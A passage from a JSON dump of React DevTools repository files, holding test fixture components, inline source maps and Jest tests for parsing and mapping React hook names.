sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImluZGV4LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFTQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7OztBQUVBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5fSBmcm9tICcuL0NvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5JztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhDdXN0b21Ib29rfSBmcm9tICcuL0NvbXBvbmVudFdpdGhDdXN0b21Ib29rJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZX0gZnJvbSAnLi9Db21wb25lbnRXaXRoTXVsdGlwbGVIb29rc1BlckxpbmUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgQ29tcG9uZW50V2l0aE5lc3RlZEhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhOZXN0ZWRIb29rcyc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBDb250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTH0gZnJvbSAnLi9Db250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTCc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBFeGFtcGxlfSBmcm9tICcuL0V4YW1wbGUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgSW5saW5lUmVxdWlyZX0gZnJvbSAnLi9JbmxpbmVSZXF1aXJlJztcbmltcG9ydCAqIGFzIFRvRG9MaXN0IGZyb20gJy4vVG9Eb0xpc3QnO1xuZXhwb3J0IHtUb0RvTGlzdH07XG5leHBvcnQge2RlZmF1bHQgYXMgdXNlVGhlbWV9IGZyb20gJy4vdXNlVGhlbWUnO1xuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVzZVRoZW1lLmpzIl0sIm5hbWVzIjpbIlRoZW1lQ29udGV4dCIsInVzZVRoZW1lIiwidGhlbWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBU0E7O0FBVEE7Ozs7Ozs7O0FBV0EsTUFBQUEsWUFBQSxnQkFBQSwwQkFBQSxRQUFBLENBQUE7OztBQUVBLFNBQUFDLFFBQUEsR0FBQTtBQUNBLFFBQUFDLEtBQUEsR0FBQSx1QkFBQUYsWUFBQSxDQUFBO0FBQ0EsNEJBQUFFLEtBQUE7QUFDQSxTQUFBQSxLQUFBO0FBQ0EiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0LCB1c2VEZWJ1Z1ZhbHVlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBUaGVtZUNvbnRleHQgPSBjcmVhdGVDb250ZXh0KCdicmlnaHQnKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGhlbWUoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlQ29udGV4dChUaGVtZUNvbnRleHQpO1xuICB1c2VEZWJ1Z1ZhbHVlKHRoZW1lKTtcbiAgcmV0dXJuIHRoZW1lO1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentUsingHooksIndirectly.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst React = require('react');\nconst {useEffect, useState} = require('react');\n\nfunction Component() {\n  const countState = useState(0);\n  const count = countState[0];\n  const setCount = countState[1];\n\n  const darkMode = useIsDarkMode();\n  const [isDarkMode, setDarkMode] = darkMode;\n\n  useEffect(() => {\n    // ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return null;\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = useState(false);\n  const [isDarkMode] = darkModeState;\n\n  useEffect(function useEffectCreate() {\n    // Here is where we may listen to a \"theme\" event...\n  }, []);\n\n  return [isDarkMode, () => {}];\n}\n\nmodule.exports = {Component};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentWithExternalUseEffect.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst {useState} = require('react');\nconst {useCustom} = require('./useCustom');\n\nfunction Component(props) {\n  const [count] = useState(0);\n  useCustom();\n  return count;\n}\n\nmodule.exports = {Component};"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentWithNamedCustomHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst {useDebugValue, useState} = require('react');\n\nfunction Component(props) {\n  const foo = useCustomHookOne();\n  // This cae is ignored;\n  // the meaning of a tuple assignment for a custom hook is unclear.\n  const [bar] = useCustomHookTwo();\n  return `${foo}-${bar}`;\n}\n\nfunction useCustomHookOne() {\n  // DebugValue hook should not appear in log.\n  useDebugValue('example');\n  return true;\n}\n\nfunction useCustomHookTwo() {\n  const [baz, setBaz] = useState(true);\n  return [baz, setBaz];\n}\n\nmodule.exports = {Component};"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentWithNestedHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nconst {useMemo, useState} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n\n    return state;\n  });\n  props.callback(InnerComponent);\n \n  return null;\n};\n\nmodule.exports = {Component};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentWithUnnamedCustomHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst {useDebugValue} = require('react');\n\nfunction Component(props) {\n  useCustomHookOne();\n  const [bar] = useCustomHookTwo();\n  const {foo} = useCustomHookThree();\n  return `${bar}-${foo}`;\n}\n\nfunction useCustomHookOne() {\n  // DebugValue hook should not appear in log.\n  useDebugValue('example1');\n}\n\nfunction useCustomHookTwo() {\n  // DebugValue hook should not appear in log.\n  useDebugValue('example2');\n  return [true];\n}\n\nfunction useCustomHookThree() {\n  useDebugValue('example3');\n  return {foo: true};\n}\n\nmodule.exports = {Component};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentWithUseEffect.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst React = require('react');\nconst {useEffect} = React;\n\nfunction Component(props) {\n  useEffect(() => {});\n  React.useLayoutEffect(() => () => {});\n  return null;\n}\n\nmodule.exports = {Component};"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentWithUseReducer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst React = require('react');\nconst {useReducer} = React;\n\nfunction Component(props) {\n  const [foo] = useReducer(true);\n  const [bar] = useReducer(true);\n  const [baz] = React.useReducer(true);\n  return `${foo}-${bar}-${baz}`;\n}\n\nmodule.exports = {Component};"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/ComponentWithUseState.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst React = require('react');\nconst {useState} = React;\n\nfunction Component(props) {\n  const [foo] = useState(true);\n  const bar = useState(true);\n  const [baz] = React.useState(true);\n  const [, forceUpdate] = useState();\n  return `${foo}-${bar}-${baz}`;\n}\n\nmodule.exports = {Component};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/README.md",
    "content": "The JavaScript source files in this directory are not linted or pre-processed in any way. This is intentional, since they are used by the `parseHookNames-test` to test the behavior of \"uncompiled\" JavaScript (without source maps)."
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/useCustom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst {useEffect} = require('react');\n\nfunction useCustom() {\n  useEffect(() => {\n    // ...\n  }, []);\n}\n\nmodule.exports = {useCustom};"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {Component as ComponentUsingHooksIndirectly} from './ComponentUsingHooksIndirectly';\nexport {Component as ComponentWithCustomHook} from './ComponentWithCustomHook';\nexport {Component as ComponentWithExternalCustomHooks} from './ComponentWithExternalCustomHooks';\nexport {Component as ComponentWithMultipleHooksPerLine} from './ComponentWithMultipleHooksPerLine';\nexport {Component as ComponentWithNestedHooks} from './ComponentWithNestedHooks';\nexport {Component as ContainingStringSourceMappingURL} from './ContainingStringSourceMappingURL';\nexport {Component as Example} from './Example';\nexport {Component as InlineRequire} from './InlineRequire';\nimport * as ToDoList from './ToDoList';\nexport {ToDoList};\nexport {default as useTheme} from './useTheme';\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/useTheme.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {createContext, useContext, useDebugValue} from 'react';\n\nexport const ThemeContext = createContext('bright');\n\nexport default function useTheme() {\n  const theme = useContext(ThemeContext);\n  useDebugValue(theme);\n  return theme;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/generateHookMap-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {parse} from '@babel/parser';\nimport {generateEncodedHookMap, generateHookMap} from '../generateHookMap';\n\nfunction expectHookMapToEqual(actual, expected) {\n  expect(actual.names).toEqual(expected.names);\n\n  const formattedMappings = [];\n  actual.mappings.forEach(lines => {\n    lines.forEach(segment => {\n      const name = actual.names[segment[2]];\n      if (name == null) {\n        throw new Error(`Expected to find name at position ${segment[2]}`);\n      }\n      formattedMappings.push(`${name} from ${segment[0]}:${segment[1]}`);\n    });\n  });\n  expect(formattedMappings).toEqual(expected.mappings);\n}\n\ndescribe('generateHookMap', () => {\n  it('should parse names for built-in hooks', () => {\n    const code = `\nimport {useState, useContext, useMemo, useReducer} from 'react';\n\nexport function Component() {\n  const a = useMemo(() => A);\n  const [b, setB] = useState(0);\n\n  // prettier-ignore\n  const c = useContext(A), d = useContext(B); // eslint-disable-line one-var\n\n  const [e, dispatch] = useReducer(reducer, initialState);\n  const f = useRef(null)\n\n  return a + b + c + d + e + f.current;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'a', 'b', 'c', 'd', 'e', 'f'],\n      mappings: [\n        '<no-hook> from 1:0',\n        'a from 5:12',\n        '<no-hook> from 5:28',\n        'b from 6:20',\n        '<no-hook> from 6:31',\n        'c from 9:12',\n        '<no-hook> from 9:25',\n        'd from 9:31',\n        '<no-hook> from 9:44',\n        'e from 11:24',\n        '<no-hook> from 11:57',\n        'f from 12:12',\n        '<no-hook> from 12:24',\n      ],\n    });\n\n    const encodedHookMap = generateEncodedHookMap(parsed);\n    expect(encodedHookMap).toMatchInlineSnapshot(`\n    {\n      \"mappings\": \"CAAD;KYCA,AgBDA;MREA,AWFA;SnBGA,AaHA,AMIA,AaJA;WpBKA,AiCLA;Y7CMA,AYNA\",\n      \"names\": [\n        \"<no-hook>\",\n        \"a\",\n        \"b\",\n        \"c\",\n        \"d\",\n        \"e\",\n        \"f\",\n      ],\n    }\n  `);\n  });\n\n  it('should parse names for custom hooks', () => {\n    const code = `\nimport useTheme from 'useTheme';\nimport useValue from 'useValue';\n\nexport function Component() {\n  const theme = useTheme();\n  const [val, setVal] = useValue();\n\n  return theme;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'theme', 'val'],\n      mappings: [\n        '<no-hook> from 1:0',\n        'theme from 6:16',\n        '<no-hook> from 6:26',\n        'val from 7:24',\n        '<no-hook> from 7:34',\n      ],\n    });\n\n    const encodedHookMap = generateEncodedHookMap(parsed);\n    expect(encodedHookMap).toMatchInlineSnapshot(`\n    {\n      \"mappings\": \"CAAD;MgBCA,AUDA;OFEA,AUFA\",\n      \"names\": [\n        \"<no-hook>\",\n        \"theme\",\n        \"val\",\n      ],\n    }\n  `);\n  });\n\n  it('should parse names for nested hook calls', () => {\n    const code = `\nimport {useMemo, useState} from 'react';\n\nexport function Component() {\n  const InnerComponent = useMemo(() => () => {\n    const [state, setState] = useState(0);\n\n    return state;\n  });\n\n  return null;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'InnerComponent', 'state'],\n      mappings: [\n        '<no-hook> from 1:0',\n        'InnerComponent from 5:25',\n        'state from 6:30',\n        'InnerComponent from 6:41',\n        '<no-hook> from 9:4',\n      ],\n    });\n\n    const encodedHookMap = generateEncodedHookMap(parsed);\n    expect(encodedHookMap).toMatchInlineSnapshot(`\n    {\n      \"mappings\": \"CAAD;KyBCA;MKCA,AWDA;SrCDA\",\n      \"names\": [\n        \"<no-hook>\",\n        \"InnerComponent\",\n        \"state\",\n      ],\n    }\n  `);\n  });\n\n  it('should skip names for non-nameable hooks', () => {\n    const code = `\nimport useTheme from 'useTheme';\nimport useValue from 'useValue';\n\nexport function Component() {\n  const [val, setVal] = useState(0);\n\n  useEffect(() => {\n    // ...\n  });\n\n  useLayoutEffect(() => {\n    // ...\n  });\n\n  return val;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'val'],\n      mappings: ['<no-hook> from 1:0', 'val from 6:24', '<no-hook> from 6:35'],\n    });\n\n    const encodedHookMap = generateEncodedHookMap(parsed);\n    expect(encodedHookMap).toMatchInlineSnapshot(`\n    {\n      \"mappings\": \"CAAD;MwBCA,AWDA\",\n      \"names\": [\n        \"<no-hook>\",\n        \"val\",\n      ],\n    }\n  `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/getHookNameForLocation-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {parse} from '@babel/parser';\nimport {generateHookMap} from '../generateHookMap';\nimport {getHookNameForLocation} from '../getHookNameForLocation';\n\nfunction expectHookMapToEqual(actual, expected) {\n  expect(actual.names).toEqual(expected.names);\n\n  const formattedMappings = [];\n  actual.mappings.forEach(lines => {\n    lines.forEach(segment => {\n      const name = actual.names[segment[2]];\n      if (name == null) {\n        throw new Error(`Expected to find name at position ${segment[2]}`);\n      }\n      formattedMappings.push(`${name} from ${segment[0]}:${segment[1]}`);\n    });\n  });\n  expect(formattedMappings).toEqual(expected.mappings);\n}\n\ndescribe('generateHookMap', () => {\n  it('should parse names for built-in hooks', () => {\n    const code = `\nimport {useState, useContext, useMemo, useReducer} from 'react';\n\nexport function Component() {\n  const a = useMemo(() => A);\n  const [b, setB] = useState(0);\n\n  // prettier-ignore\n  const c = useContext(A), d = useContext(B); // eslint-disable-line one-var\n\n  const [e, dispatch] = useReducer(reducer, initialState);\n  const f = useRef(null)\n\n  return a + b + c + d + e + f.current;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'a', 'b', 'c', 'd', 'e', 'f'],\n      mappings: [\n        '<no-hook> from 1:0',\n        'a from 5:12',\n        '<no-hook> from 5:28',\n        'b from 6:20',\n        '<no-hook> from 6:31',\n        'c from 9:12',\n        '<no-hook> from 9:25',\n        'd from 9:31',\n        '<no-hook> from 9:44',\n        'e from 11:24',\n        '<no-hook> from 11:57',\n        'f from 12:12',\n        '<no-hook> from 12:24',\n      ],\n    });\n\n    expect(getHookNameForLocation({line: 1, column: 0}, hookMap)).toEqual(null);\n    expect(getHookNameForLocation({line: 2, column: 25}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 5, column: 12}, hookMap)).toEqual('a');\n    expect(getHookNameForLocation({line: 5, column: 13}, hookMap)).toEqual('a');\n    expect(getHookNameForLocation({line: 5, column: 28}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 5, column: 29}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 6, column: 20}, hookMap)).toEqual('b');\n    expect(getHookNameForLocation({line: 6, column: 30}, hookMap)).toEqual('b');\n    expect(getHookNameForLocation({line: 6, column: 31}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 7, column: 31}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 8, column: 20}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 9, column: 12}, hookMap)).toEqual('c');\n    expect(getHookNameForLocation({line: 9, column: 13}, hookMap)).toEqual('c');\n    expect(getHookNameForLocation({line: 9, column: 25}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 9, column: 26}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 9, column: 31}, hookMap)).toEqual('d');\n    expect(getHookNameForLocation({line: 9, column: 32}, hookMap)).toEqual('d');\n    expect(getHookNameForLocation({line: 9, column: 44}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 9, column: 45}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 11, column: 24}, hookMap)).toEqual(\n      'e',\n    );\n    expect(getHookNameForLocation({line: 11, column: 56}, hookMap)).toEqual(\n      'e',\n    );\n    expect(getHookNameForLocation({line: 11, column: 57}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 11, column: 58}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 12, column: 12}, hookMap)).toEqual(\n      'f',\n    );\n    expect(getHookNameForLocation({line: 12, column: 23}, hookMap)).toEqual(\n      'f',\n    );\n    expect(getHookNameForLocation({line: 12, column: 24}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 100, column: 50}, hookMap)).toEqual(\n      null,\n    );\n  });\n\n  it('should parse names for custom hooks', () => {\n    const code = `\nimport useTheme from 'useTheme';\nimport useValue from 'useValue';\n\nexport function Component() {\n  const theme = useTheme();\n  const [val, setVal] = useValue();\n\n  return theme;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'theme', 'val'],\n      mappings: [\n        '<no-hook> from 1:0',\n        'theme from 6:16',\n        '<no-hook> from 6:26',\n        'val from 7:24',\n        '<no-hook> from 7:34',\n      ],\n    });\n\n    expect(getHookNameForLocation({line: 1, column: 0}, hookMap)).toEqual(null);\n    expect(getHookNameForLocation({line: 6, column: 16}, hookMap)).toEqual(\n      'theme',\n    );\n    expect(getHookNameForLocation({line: 6, column: 26}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 7, column: 24}, hookMap)).toEqual(\n      'val',\n    );\n    expect(getHookNameForLocation({line: 7, column: 34}, hookMap)).toEqual(\n      null,\n    );\n  });\n\n  it('should parse names for nested hook calls', () => {\n    const code = `\nimport {useMemo, useState} from 'react';\n\nexport function Component() {\n  const InnerComponent = useMemo(() => () => {\n    const [state, setState] = useState(0);\n\n    return state;\n  });\n\n  return null;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'InnerComponent', 'state'],\n      mappings: [\n        '<no-hook> from 1:0',\n        'InnerComponent from 5:25',\n        'state from 6:30',\n        'InnerComponent from 6:41',\n        '<no-hook> from 9:4',\n      ],\n    });\n\n    expect(getHookNameForLocation({line: 1, column: 0}, hookMap)).toEqual(null);\n    expect(getHookNameForLocation({line: 5, column: 25}, hookMap)).toEqual(\n      'InnerComponent',\n    );\n    expect(getHookNameForLocation({line: 6, column: 30}, hookMap)).toEqual(\n      'state',\n    );\n    expect(getHookNameForLocation({line: 6, column: 40}, hookMap)).toEqual(\n      'state',\n    );\n    expect(getHookNameForLocation({line: 6, column: 41}, hookMap)).toEqual(\n      'InnerComponent',\n    );\n    expect(getHookNameForLocation({line: 9, column: 4}, hookMap)).toEqual(null);\n  });\n\n  it('should skip names for non-nameable hooks', () => {\n    const code = `\nimport useTheme from 'useTheme';\nimport useValue from 'useValue';\n\nexport function Component() {\n  const [val, setVal] = useState(0);\n\n  useEffect(() => {\n    // ...\n  });\n\n  useLayoutEffect(() => {\n    // ...\n  });\n\n  return val;\n}`;\n\n    const parsed = parse(code, {\n      sourceType: 'module',\n      plugins: ['jsx', 'flow'],\n    });\n    const hookMap = generateHookMap(parsed);\n    expectHookMapToEqual(hookMap, {\n      names: ['<no-hook>', 'val'],\n      mappings: ['<no-hook> from 1:0', 'val from 6:24', '<no-hook> from 6:35'],\n    });\n\n    expect(getHookNameForLocation({line: 1, column: 0}, hookMap)).toEqual(null);\n    expect(getHookNameForLocation({line: 6, column: 24}, hookMap)).toEqual(\n      'val',\n    );\n    expect(getHookNameForLocation({line: 6, column: 35}, hookMap)).toEqual(\n      null,\n    );\n    expect(getHookNameForLocation({line: 8, column: 2}, hookMap)).toEqual(null);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/parseHookNames-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Note that this test uses React components declared in the \"__source__\" directory.\n// This is done to control if and how the code is transformed at runtime.\n// Do not declare test components within this test file as it is very fragile.\n\nfunction expectHookNamesToEqual(map, expectedNamesArray) {\n  // Slightly hacky since it relies on the iterable order of values()\n  expect(Array.from(map.values())).toEqual(expectedNamesArray);\n}\n\nfunction requireText(path, encoding) {\n  const {existsSync, readFileSync} = require('fs');\n  if (existsSync(path)) {\n    return Promise.resolve(readFileSync(path, encoding));\n  } else {\n    return Promise.reject(`File not found \"${path}\"`);\n  }\n}\n\nfunction initFetchMock() {\n  const fetchMock = require('jest-fetch-mock');\n  fetchMock.enableMocks();\n  fetchMock.mockIf(/.+$/, request => {\n    const url = request.url;\n    const isLoadingExternalSourceMap = /external\\/.*\\.map/.test(url);\n    if (isLoadingExternalSourceMap) {\n      // Assert that url contains correct query params\n      expect(url.includes('?foo=bar&param=some_value')).toBe(true);\n      const fileSystemPath = url.split('?')[0];\n      return requireText(fileSystemPath, 'utf8');\n    }\n    return requireText(url, 'utf8');\n  });\n  return fetchMock;\n}\n\ndescribe('parseHookNames', () => {\n  let fetchMock;\n  let inspectHooks;\n  let parseHookNames;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    jest.mock('source-map-support', () => {\n      console.trace('source-map-support');\n    });\n\n    fetchMock = initFetchMock();\n\n    inspectHooks =\n      require('react-debug-tools/src/ReactDebugHooks').inspectHooks;\n\n    // Jest can't run the workerized version of this module.\n    const {\n      flattenHooksList,\n      loadSourceAndMetadata,\n    } = require('../parseHookNames/loadSourceAndMetadata');\n    const parseSourceAndMetadata =\n      require('../parseHookNames/parseSourceAndMetadata').parseSourceAndMetadata;\n    parseHookNames = async hooksTree => {\n      const hooksList = flattenHooksList(hooksTree);\n\n      // Runs in the UI thread so it can share Network cache:\n      const locationKeyToHookSourceAndMetadata =\n        await loadSourceAndMetadata(hooksList);\n\n      // Runs in a Worker because it's CPU intensive:\n      return parseSourceAndMetadata(\n        hooksList,\n        locationKeyToHookSourceAndMetadata,\n      );\n    };\n\n    // Jest (jest-runner?) configures Errors to automatically account for source maps.\n    // This changes behavior between our tests and the browser.\n    // Ideally we would clear the prepareStackTrace() method on the Error object,\n    // but Node falls back to looking for it on the main context's Error constructor,\n    // which may still be patched.\n    // To ensure we get the default behavior, override prepareStackTrace ourselves.\n    // NOTE: prepareStackTrace is called from the error.stack getter, but the getter\n    // has a recursion breaker which falls back to the default behavior.\n    Error.prepareStackTrace = (error, trace) => {\n      return error.stack;\n    };\n  });\n\n  afterEach(() => {\n    fetch.resetMocks();\n  });\n\n  async function getHookNamesForComponent(Component, props = {}) {\n    const hooksTree = inspectHooks(Component, props, undefined);\n    const hookNames = await parseHookNames(hooksTree);\n    return hookNames;\n  }\n\n  it('should parse names for useState()', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithUseState').Component;\n    const hookNames = await getHookNamesForComponent(Component);\n    expectHookNamesToEqual(hookNames, ['foo', 'bar', 'baz', null]);\n  });\n\n  it('should parse names for useReducer()', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithUseReducer').Component;\n    const hookNames = await getHookNamesForComponent(Component);\n    expectHookNamesToEqual(hookNames, ['foo', 'bar', 'baz']);\n  });\n\n  it('should skip loading source files for unnamed hooks like useEffect', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithUseEffect').Component;\n\n    // Since this component contains only unnamed hooks, the source code should not even be loaded.\n    fetchMock.mockIf(/.+$/, request => {\n      throw Error(`Unexpected file request 